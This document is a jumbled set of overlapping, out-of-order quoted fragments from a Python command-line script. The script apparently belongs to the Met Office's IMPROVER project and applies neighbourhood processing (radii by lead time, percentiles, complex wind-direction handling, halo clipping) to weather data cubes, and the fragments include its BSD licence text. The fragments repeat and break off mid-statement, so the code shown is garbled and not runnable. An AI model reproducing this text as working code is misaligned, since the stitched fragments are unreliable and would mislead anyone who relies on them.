mask to the", "from improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing,", "EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE", "which nbhood radius. The radius will be interpolated for intermediate", "cli.comma_separated_list, lead_times: cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles:", "# convert cube data into complex numbers cube.data = WindDirection.deg_to_complex(cube.data)", "= None, ): \"\"\"Runs neighbourhood processing. Apply the requested neighbourhood", "the results generated using neighbourhood processing. If \"probabilities\" is selected,", "larger grid was defined than the standard grid and we", "source and binary forms, with or without # modification, are", "in metres to define the excess halo to clip. Used", "(float): Calculates value at the specified percentiles from the neighbourhood", "times. lead_times (list of int): The lead times in hours", "cube: cli.inputcube, mask: cli.inputcube = None, *, neighbourhood_output, neighbourhood_shape, radii:", "un-neighbourhood processed mask to the neighbourhood processed cube. Otherwise the", "selected, the mean probability with a neighbourhood is calculated. If", "if degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles from complex \" \"numbers\")", "grid point. This argument has no effect if the output", "calculating \"percentiles\" output. Options: \"circular\", \"square\". radii (list of float):", "INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER", "numbers with circular neighbourhoods\" ) if degrees_as_complex: # convert cube", "== \"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube)", "processed cube. Otherwise the original un-neighbourhood processed mask is not", "radii in metres of the neighbourhood to apply. If it", "this option to process angles as complex numbers. Not compatible", "COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT,", "to run neighbourhood processing.\"\"\" from improver import cli from improver.constants", "1 for usable points and 0 for discarded points. Only", "If degree_as_complex is used with neighbourhood_shape='circular'. \"\"\" from improver.nbhood import", "it is a list, it must be the same length", "CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,", "with a neighbourhood is calculated. If \"percentiles\" is selected, then", "correspond to the radii to be used. If lead_times are", "the requested neighbourhood method via the NeighbourhoodProcessing plugin to a", "Used where a larger grid was defined than the standard", "grid and we want to clip the grid back to", "percentiles from a neighbourhood is only supported for a circular", "a list, it must be the same length as lead_times,", "import WindDirection sum_or_fraction = \"sum\" if area_sum else \"fraction\" if", "degree_as_complex is used with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex is used", "of source code must retain the above copyright notice, this", "DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE", "\"\"\"Runs neighbourhood processing. Apply the requested neighbourhood method via the", "applied. Therefore, the neighbourhood processing may result in values being", "# convert neighbourhooded cube back to degrees result.data = WindDirection.complex_to_deg(result.data)", "than the standard grid and we want to clip the", "apply the original un-neighbourhood processed mask to the neighbourhood processed", "where a larger grid was defined than the standard grid", "AND CONTRIBUTORS \"AS IS\" # AND ANY EXPRESS OR IMPLIED", "import remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction = \"sum\" if", "a list of radii in metres of the neighbourhood to", "is selected, the mean probability with a neighbourhood is calculated.", "and binary forms, with or without # modification, are permitted", "nbhood radius. The radius will be interpolated for intermediate lead", "names of its # contributors may be used to endorse", "to degrees result.data = WindDirection.complex_to_deg(result.data) if halo_radius is not None:", "# * Neither the name of the copyright holder nor", "neighbourhood_output. RuntimeError: If degree_as_complex is used with neighbourhood_output='percentiles'. RuntimeError: If", "iris.cube.Cube: A processed Cube. Raises: RuntimeError: If weighted_mode is used", "neighbourhood processing. If \"probabilities\" is selected, the mean probability with", "= GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex: #", "source code must retain the above copyright notice, this #", "the specified percentiles from the neighbourhood surrounding each grid point.", "neighbourhood_shape == \"circular\": if degrees_as_complex: raise RuntimeError( \"Cannot process complex", "cube. The data should contain 1 for usable points and", "\"circular\" neighbourhood shape is applicable for calculating \"percentiles\" output. Options:", "EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE", "this software without specific prior written permission. # # THIS", "define the excess halo to clip. Used where a larger", "improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction = \"sum\"", "elif neighbourhood_output == \"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times,", "WindDirection.complex_to_deg(result.data) if halo_radius is not None: result = remove_cube_halo(result, halo_radius)", "written permission. # # THIS SOFTWARE IS PROVIDED BY THE", "if neighbourhood_output == \"percentiles\": if weighted_mode: raise RuntimeError( \"weighted_mode cannot", "the neighbourhood processing may result in values being present in", "output using the circular kernel. area_sum (bool): Return sum rather", "neighbourhood_shape (str): Name of the neighbourhood method to use. Only", "notice, # this list of conditions and the following disclaimer", "method via the NeighbourhoodProcessing plugin to a Cube. Args: cube", "GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR", "WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF", "other materials provided with the distribution. # # * Neither", "of the neighbourhood to apply. If it is a list,", "data should contain 1 for usable points and 0 for", "from complex \" \"numbers\") if neighbourhood_shape == \"circular\": if degrees_as_complex:", "Cube to be processed. mask (iris.cube.Cube): A cube to mask", "software without specific prior written permission. # # THIS SOFTWARE", "(list of int): The lead times in hours that correspond", "WindDirection sum_or_fraction = \"sum\" if area_sum else \"fraction\" if neighbourhood_output", "generate percentiles from complex \" \"numbers\") if neighbourhood_shape == \"circular\":", "Therefore, the neighbourhood processing may result in values being present", "retain the above copyright notice, this # list of conditions", "improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import remove_cube_halo", "weighted_mode is only applicable for calculating \"probability\" neighbourhood output using", "SUCH DAMAGE. \"\"\"Script to run neighbourhood processing.\"\"\" from improver import", "DEFAULT_PERCENTILES, halo_radius: float = None, ): \"\"\"Runs neighbourhood processing. Apply", "BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,", "* Redistributions in binary form must reproduce the above copyright", "percentiles (float): Calculates value at the specified percentiles from the", "results generated using neighbourhood processing. If \"probabilities\" is selected, the", "are met: # # * Redistributions of source code must", "only applicable for calculating \"probability\" neighbourhood output using the circular", "THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS", "disclaimer in the documentation # and/or other materials provided with", "\"AS IS\" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,", "metres of the neighbourhood to apply. If it is a", "the wrong neighbourhood_output. RuntimeError: If degree_as_complex is used with neighbourhood_output='percentiles'.", "probabilities. halo_radius (float): Set this radius in metres to define", "\"fraction\" if neighbourhood_output == \"percentiles\": if weighted_mode: raise RuntimeError( \"weighted_mode", "BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR", "area. remask (bool): Include this option to apply the original", "only supported for a circular neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape", "TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR", "float): The radius or a list of radii in metres", "being present in area that were originally masked. percentiles (float):", "the circular kernel. area_sum (bool): Return sum rather than fraction", "calculating \"probability\" neighbourhood output using the circular kernel. area_sum (bool):", "neighbourhood method via the NeighbourhoodProcessing plugin to a Cube. Args:", "probability with a neighbourhood is calculated. If \"percentiles\" is selected,", "CONTRIBUTORS \"AS IS\" # AND ANY EXPRESS OR IMPLIED WARRANTIES,", "present in area that were originally masked. percentiles (float): Calculates", "\"Cannot process complex numbers with circular neighbourhoods\" ) if degrees_as_complex:", "disclaimer. # # * Redistributions in binary form must reproduce", "if neighbourhood_output == \"probabilities\": result = NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times,", "int): The lead times in hours that correspond to the", "percentiles from the neighbourhood surrounding each grid point. This argument", "\"sum\" if area_sum else \"fraction\" if neighbourhood_output == \"percentiles\": if", "Options: \"circular\", \"square\". radii (list of float): The radius or", "FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL", "name of the copyright holder nor the names of its", "the original un-neighbourhood processed mask is not applied. Therefore, the", "# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR", "\"square\". radii (list of float): The radius or a list", "the radii to be used. If lead_times are set, radii", "the weighting to decrease with radius. Otherwise a constant weighting", "CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN #", "of radii in metres of the neighbourhood to apply. If", "# this software without specific prior written permission. # #", "output is probabilities. halo_radius (float): Set this radius in metres", "re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output == \"percentiles\": result = GeneratePercentilesFromANeighbourhood(", "provided with the distribution. # # * Neither the name", "# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # (C) British", "cli.inputcube, mask: cli.inputcube = None, *, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list,", "may result in values being present in area that were", "AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT,", "result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex:", "remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection sum_or_fraction = \"sum\" if area_sum", "Redistributions of source code must retain the above copyright notice,", "IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. \"\"\"Script", "NeighbourhoodProcessing( neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif", "sum rather than fraction over the neighbourhood area. remask (bool):", "Cube. Args: cube (iris.cube.Cube): The Cube to be processed. mask", "halo_radius: float = None, ): \"\"\"Runs neighbourhood processing. Apply the", "If \"probabilities\" is selected, the mean probability with a neighbourhood", "from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import", "percentiles=percentiles, )(cube) if degrees_as_complex: # convert neighbourhooded cube back to", "neighbourhood processing may result in values being present in area", "not applied. Therefore, the neighbourhood processing may result in values", "mask the input cube. The data should contain 1 for", "materials provided with the distribution. # # * Neither the", "and/or other materials provided with the distribution. # # *", "supported for a circular neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str):", "SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS #", "documentation # and/or other materials provided with the distribution. #", "input cube. The data should contain 1 for usable points", "calculated. If \"percentiles\" is selected, then the percentiles are calculated", "that the following conditions are met: # # * Redistributions", "IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE", "or without # modification, are permitted provided that the following", "to the radii to be used. If lead_times are set,", "HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN", "Redistribution and use in source and binary forms, with or", "code must retain the above copyright notice, this # list", "# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT", "with square neighbourhoods. (Optional) neighbourhood_output (str): The form of the", "Name of the neighbourhood method to use. Only a \"circular\"", "THE # POSSIBILITY OF SUCH DAMAGE. \"\"\"Script to run neighbourhood", "is assumed. weighted_mode is only applicable for calculating \"probability\" neighbourhood", "cube. Otherwise the original un-neighbourhood processed mask is not applied.", "halo to clip. Used where a larger grid was defined", "with the wrong neighbourhood_output. RuntimeError: If degree_as_complex is used with", "defines at which lead time to use which nbhood radius.", "None, ): \"\"\"Runs neighbourhood processing. Apply the requested neighbourhood method", "this # list of conditions and the following disclaimer. #", "the same length as lead_times. degrees_as_complex (bool): Include this option", "be a list the same length as lead_times. degrees_as_complex (bool):", "a circular neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str): Name of", "NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction import WindDirection", "and 0 for discarded points. Only supported with square neighbourhoods.", "use. Only a \"circular\" neighbourhood shape is applicable for calculating", "(str): The form of the results generated using neighbourhood processing.", "is not applied. Therefore, the neighbourhood processing may result in", "USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED", "( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction", "a neighbourhood. Calculating percentiles from a neighbourhood is only supported", "rights reserved. # # Redistribution and use in source and", "= None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES,", "EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE.", "area_sum else \"fraction\" if neighbourhood_output == \"percentiles\": if weighted_mode: raise", "into complex numbers cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii,", "neighbourhood_output == \"percentiles\": if weighted_mode: raise RuntimeError( \"weighted_mode cannot be", "to use. Only a \"circular\" neighbourhood shape is applicable for", "IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR", "RuntimeError: If degree_as_complex is used with neighbourhood_output='percentiles'. RuntimeError: If degree_as_complex", "it must be the same length as lead_times, which defines", "nor the names of its # contributors may be used", "be interpolated for intermediate lead times. lead_times (list of int):", "binary form must reproduce the above copyright notice, # this", "OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE", "mean probability with a neighbourhood is calculated. If \"percentiles\" is", "processing may result in values being present in area that", "defined than the standard grid and we want to clip", "percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float = None, ): \"\"\"Runs", "PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" #", "is calculated. If \"percentiles\" is selected, then the percentiles are", "INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT", "CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) #", "OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS", "the neighbourhood surrounding each grid point. This argument has no", ")(cube) if degrees_as_complex: # convert neighbourhooded cube back to degrees", "(bool): Include this option to process angles as complex numbers.", "Apply the requested neighbourhood method via the NeighbourhoodProcessing plugin to", "PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY", "TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY", "from improver import cli from improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output", "to clip the grid back to the standard grid. Otherwise", "mask (iris.cube.Cube): A cube to mask the input cube. The", "value at the specified percentiles from the neighbourhood surrounding each", "THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE", "as lead_times, which defines at which lead time to use", "surrounding each grid point. This argument has no effect if", "Return sum rather than fraction over the neighbourhood area. remask", "neighbourhood processed cube. Otherwise the original un-neighbourhood processed mask is", "kernel. area_sum (bool): Return sum rather than fraction over the", "RuntimeError( \"weighted_mode cannot be used with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex:", "#!/usr/bin/env python # -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- #", "in source and binary forms, with or without # modification,", "# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,", "be the same length as lead_times, which defines at which", "Include this option to process angles as complex numbers. Not", "A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL", "weighted_mode (bool): Include this option to set the weighting to", "AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED", "distribution. # # * Neither the name of the copyright", "permitted provided that the following conditions are met: # #", "cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list =", "\"percentiles\" is selected, then the percentiles are calculated with a", "circular neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str): Name of the", "list of conditions and the following disclaimer. # # *", "in the documentation # and/or other materials provided with the", "of conditions and the following disclaimer in the documentation #", "products derived from # this software without specific prior written", "were originally masked. percentiles (float): Calculates value at the specified", "improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process( cube: cli.inputcube, mask:", "weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output == \"percentiles\": result", "lead_times: cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list", "form must reproduce the above copyright notice, # this list", "WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times) if neighbourhood_output == \"probabilities\":", "use in source and binary forms, with or without #", "radius. The radius will be interpolated for intermediate lead times.", "grid. Otherwise no clipping is applied. Returns: iris.cube.Cube: A processed", "coding: utf-8 -*- # ----------------------------------------------------------------------------- # (C) British Crown Copyright", "interpolated for intermediate lead times. lead_times (list of int): The", "lead_times (list of int): The lead times in hours that", "<reponame>cpelley/improver #!/usr/bin/env python # -*- coding: utf-8 -*- # -----------------------------------------------------------------------------", "Args: cube (iris.cube.Cube): The Cube to be processed. mask (iris.cube.Cube):", "\"percentiles\": result = GeneratePercentilesFromANeighbourhood( neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if", "degrees_as_complex: # convert neighbourhooded cube back to degrees result.data =", "USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE #", "radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex: # convert neighbourhooded cube", "STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING", "for calculating \"probability\" neighbourhood output using the circular kernel. area_sum", "neighbourhood_shape, radius_or_radii, lead_times=lead_times, percentiles=percentiles, )(cube) if degrees_as_complex: # convert neighbourhooded", "neighbourhood is only supported for a circular neighbourhood. Options: \"probabilities\",", "fraction over the neighbourhood area. remask (bool): Include this option", "EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,", "OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY", "sum_or_fraction = \"sum\" if area_sum else \"fraction\" if neighbourhood_output ==", "cube.data = WindDirection.deg_to_complex(cube.data) radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times) if neighbourhood_output", "used. If lead_times are set, radii must be a list", "this option to apply the original un-neighbourhood processed mask to", "\"numbers\") if neighbourhood_shape == \"circular\": if degrees_as_complex: raise RuntimeError( \"Cannot", "is applied. Returns: iris.cube.Cube: A processed Cube. Raises: RuntimeError: If", "degrees_as_complex (bool): Include this option to process angles as complex", "originally masked. percentiles (float): Calculates value at the specified percentiles", "weighted_mode is used with the wrong neighbourhood_output. RuntimeError: If degree_as_complex", "# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER", "radius or a list of radii in metres of the", "raise RuntimeError(\"Cannot generate percentiles from complex \" \"numbers\") if neighbourhood_shape", "and the following disclaimer. # # * Redistributions in binary", "# contributors may be used to endorse or promote products", "THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF", "that correspond to the radii to be used. If lead_times", "ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES", "lead time to use which nbhood radius. The radius will", "assumed. weighted_mode is only applicable for calculating \"probability\" neighbourhood output", "improver.wind_calculations.wind_direction import WindDirection sum_or_fraction = \"sum\" if area_sum else \"fraction\"", "neighbourhood. Calculating percentiles from a neighbourhood is only supported for", "from a neighbourhood is only supported for a circular neighbourhood.", "Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str): Name of the neighbourhood method", "(list of float): The radius or a list of radii", "list of radii in metres of the neighbourhood to apply.", "with\" 'neighbourhood_output=\"percentiles\"' ) if degrees_as_complex: raise RuntimeError(\"Cannot generate percentiles from", "of float): The radius or a list of radii in", "OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED", "OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,", "angles as complex numbers. Not compatible with circular kernel or", "Copyright 2017-2021 Met Office. # All rights reserved. # #", "The radius will be interpolated for intermediate lead times. lead_times", "# # * Redistributions of source code must retain the", "should contain 1 for usable points and 0 for discarded", "LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION)", "over the neighbourhood area. remask (bool): Include this option to", "neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str): Name of the neighbourhood", "for calculating \"percentiles\" output. Options: \"circular\", \"square\". radii (list of", "the neighbourhood to apply. If it is a list, it", "hours that correspond to the radii to be used. If", "with or without # modification, are permitted provided that the", "neighbourhooded cube back to degrees result.data = WindDirection.complex_to_deg(result.data) if halo_radius", "NeighbourhoodProcessing plugin to a Cube. Args: cube (iris.cube.Cube): The Cube", "cube back to degrees result.data = WindDirection.complex_to_deg(result.data) if halo_radius is", "# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR", "Crown Copyright 2017-2021 Met Office. # All rights reserved. #", "mask is not applied. Therefore, the neighbourhood processing may result", "\"percentiles\": if weighted_mode: raise RuntimeError( \"weighted_mode cannot be used with\"", "is only supported for a circular neighbourhood. Options: \"probabilities\", \"percentiles\".", "Raises: RuntimeError: If weighted_mode is used with the wrong neighbourhood_output.", "following disclaimer. # # * Redistributions in binary form must", "THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY", "HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT,", "cube (iris.cube.Cube): The Cube to be processed. mask (iris.cube.Cube): A", "option to process angles as complex numbers. Not compatible with", "import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process( cube: cli.inputcube, mask: cli.inputcube", "must be the same length as lead_times, which defines at", "standard grid. Otherwise no clipping is applied. Returns: iris.cube.Cube: A", "points and 0 for discarded points. Only supported with square", "neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list = None, degrees_as_complex=False, weighted_mode=False, area_sum=False,", "neighbourhood processing.\"\"\" from improver import cli from improver.constants import DEFAULT_PERCENTILES", "WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES", "import radius_by_lead_time from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from", "NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES;", "was defined than the standard grid and we want to", "list, it must be the same length as lead_times, which", "# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR", "# this list of conditions and the following disclaimer in", "The data should contain 1 for usable points and 0", "radii (list of float): The radius or a list of", "to define the excess halo to clip. Used where a", "the excess halo to clip. Used where a larger grid", "sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output == \"percentiles\": result =", "is probabilities. halo_radius (float): Set this radius in metres to", "neighbourhoods\" ) if degrees_as_complex: # convert cube data into complex", "neighbourhood_shape, radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output", "must retain the above copyright notice, this # list of", "DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND", "prior written permission. # # THIS SOFTWARE IS PROVIDED BY", "calculated with a neighbourhood. Calculating percentiles from a neighbourhood is", "Calculates value at the specified percentiles from the neighbourhood surrounding", "run neighbourhood processing.\"\"\" from improver import cli from improver.constants import", "BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF", "met: # # * Redistributions of source code must retain", "radius_or_radii, lead_times = radius_by_lead_time(radii, lead_times) if neighbourhood_output == \"probabilities\": result", "metres to define the excess halo to clip. Used where", "import cli from improver.constants import DEFAULT_PERCENTILES @cli.clizefy @cli.with_output def process(", "cli.inputcube = None, *, neighbourhood_output, neighbourhood_shape, radii: cli.comma_separated_list, lead_times: cli.comma_separated_list", "the grid back to the standard grid. Otherwise no clipping", "if degrees_as_complex: # convert cube data into complex numbers cube.data", "has no effect if the output is probabilities. halo_radius (float):", "the following disclaimer in the documentation # and/or other materials", "HOLDERS AND CONTRIBUTORS \"AS IS\" # AND ANY EXPRESS OR", "of conditions and the following disclaimer. # # * Redistributions", "generated using neighbourhood processing. If \"probabilities\" is selected, the mean", "# * Redistributions in binary form must reproduce the above", "and use in source and binary forms, with or without", "of the neighbourhood method to use. Only a \"circular\" neighbourhood", "result in values being present in area that were originally", "weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float =", "and we want to clip the grid back to the", "\"circular\": if degrees_as_complex: raise RuntimeError( \"Cannot process complex numbers with", "2017-2021 Met Office. # All rights reserved. # # Redistribution", "utf-8 -*- # ----------------------------------------------------------------------------- # (C) British Crown Copyright 2017-2021", "lead_times are set, radii must be a list the same", "using the circular kernel. area_sum (bool): Return sum rather than", "with neighbourhood_shape='circular'. \"\"\" from improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood import", "IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE", "OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE", "the copyright holder nor the names of its # contributors", "# (C) British Crown Copyright 2017-2021 Met Office. # All", "copyright holder nor the names of its # contributors may", "-*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # (C) British Crown", "supported with square neighbourhoods. (Optional) neighbourhood_output (str): The form of", "compatible with circular kernel or percentiles. weighted_mode (bool): Include this", "processed mask to the neighbourhood processed cube. Otherwise the original", "degrees_as_complex=False, weighted_mode=False, area_sum=False, remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float", "kernel or percentiles. weighted_mode (bool): Include this option to set", "Include this option to apply the original un-neighbourhood processed mask", "a list the same length as lead_times. degrees_as_complex (bool): Include", "conditions and the following disclaimer in the documentation # and/or", ") if degrees_as_complex: # convert cube data into complex numbers", "\"\"\" from improver.nbhood import radius_by_lead_time from improver.nbhood.nbhood import ( GeneratePercentilesFromANeighbourhood,", "OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF", "The radius or a list of radii in metres of", "if neighbourhood_shape == \"circular\": if degrees_as_complex: raise RuntimeError( \"Cannot process", "The form of the results generated using neighbourhood processing. If", "PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT", "Include this option to set the weighting to decrease with", "the neighbourhood area. remask (bool): Include this option to apply", "reproduce the above copyright notice, # this list of conditions", "a Cube. Args: cube (iris.cube.Cube): The Cube to be processed.", "radius will be interpolated for intermediate lead times. lead_times (list", "for a circular neighbourhood. Options: \"probabilities\", \"percentiles\". neighbourhood_shape (str): Name", "neighbourhood method to use. Only a \"circular\" neighbourhood shape is", "original un-neighbourhood processed mask to the neighbourhood processed cube. Otherwise", "is used with neighbourhood_shape='circular'. \"\"\" from improver.nbhood import radius_by_lead_time from", "in binary form must reproduce the above copyright notice, #", "Met Office. # All rights reserved. # # Redistribution and", "\"\"\"Script to run neighbourhood processing.\"\"\" from improver import cli from", "which defines at which lead time to use which nbhood", "GeneratePercentilesFromANeighbourhood, NeighbourhoodProcessing, ) from improver.utilities.pad_spatial import remove_cube_halo from improver.wind_calculations.wind_direction import", "to a Cube. Args: cube (iris.cube.Cube): The Cube to be", "be used to endorse or promote products derived from #", "forms, with or without # modification, are permitted provided that", "binary forms, with or without # modification, are permitted provided", "\"probabilities\" is selected, the mean probability with a neighbourhood is", "cube to mask the input cube. The data should contain", "the output is probabilities. halo_radius (float): Set this radius in", "point. This argument has no effect if the output is", "must be a list the same length as lead_times. degrees_as_complex", "British Crown Copyright 2017-2021 Met Office. # All rights reserved.", "If it is a list, it must be the same", "radius_or_radii, lead_times=lead_times, weighted_mode=weighted_mode, sum_or_fraction=sum_or_fraction, re_mask=remask, )(cube, mask_cube=mask) elif neighbourhood_output ==", "SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR", "OF THE # POSSIBILITY OF SUCH DAMAGE. \"\"\"Script to run", "else \"fraction\" if neighbourhood_output == \"percentiles\": if weighted_mode: raise RuntimeError(", "used with the wrong neighbourhood_output. RuntimeError: If degree_as_complex is used", "specific prior written permission. # # THIS SOFTWARE IS PROVIDED", "contributors may be used to endorse or promote products derived", "are calculated with a neighbourhood. Calculating percentiles from a neighbourhood", "option to set the weighting to decrease with radius. Otherwise", "usable points and 0 for discarded points. Only supported with", "lead_times = radius_by_lead_time(radii, lead_times) if neighbourhood_output == \"probabilities\": result =", "area_sum=False, remask=False, percentiles: cli.comma_separated_list = DEFAULT_PERCENTILES, halo_radius: float = None,", "plugin to a Cube. Args: cube (iris.cube.Cube): The Cube to", "weighting to decrease with radius. Otherwise a constant weighting is", "a \"circular\" neighbourhood shape is applicable for calculating \"percentiles\" output.", "provided that the following conditions are met: # # *", "square neighbourhoods. (Optional) neighbourhood_output (str): The form of the results", "the neighbourhood method to use. Only a \"circular\" neighbourhood shape", "the documentation # and/or other materials provided with the distribution.", "== \"circular\": if degrees_as_complex: raise RuntimeError( \"Cannot process complex numbers", "list the same length as lead_times. degrees_as_complex (bool): Include this", "processed. mask (iris.cube.Cube): A 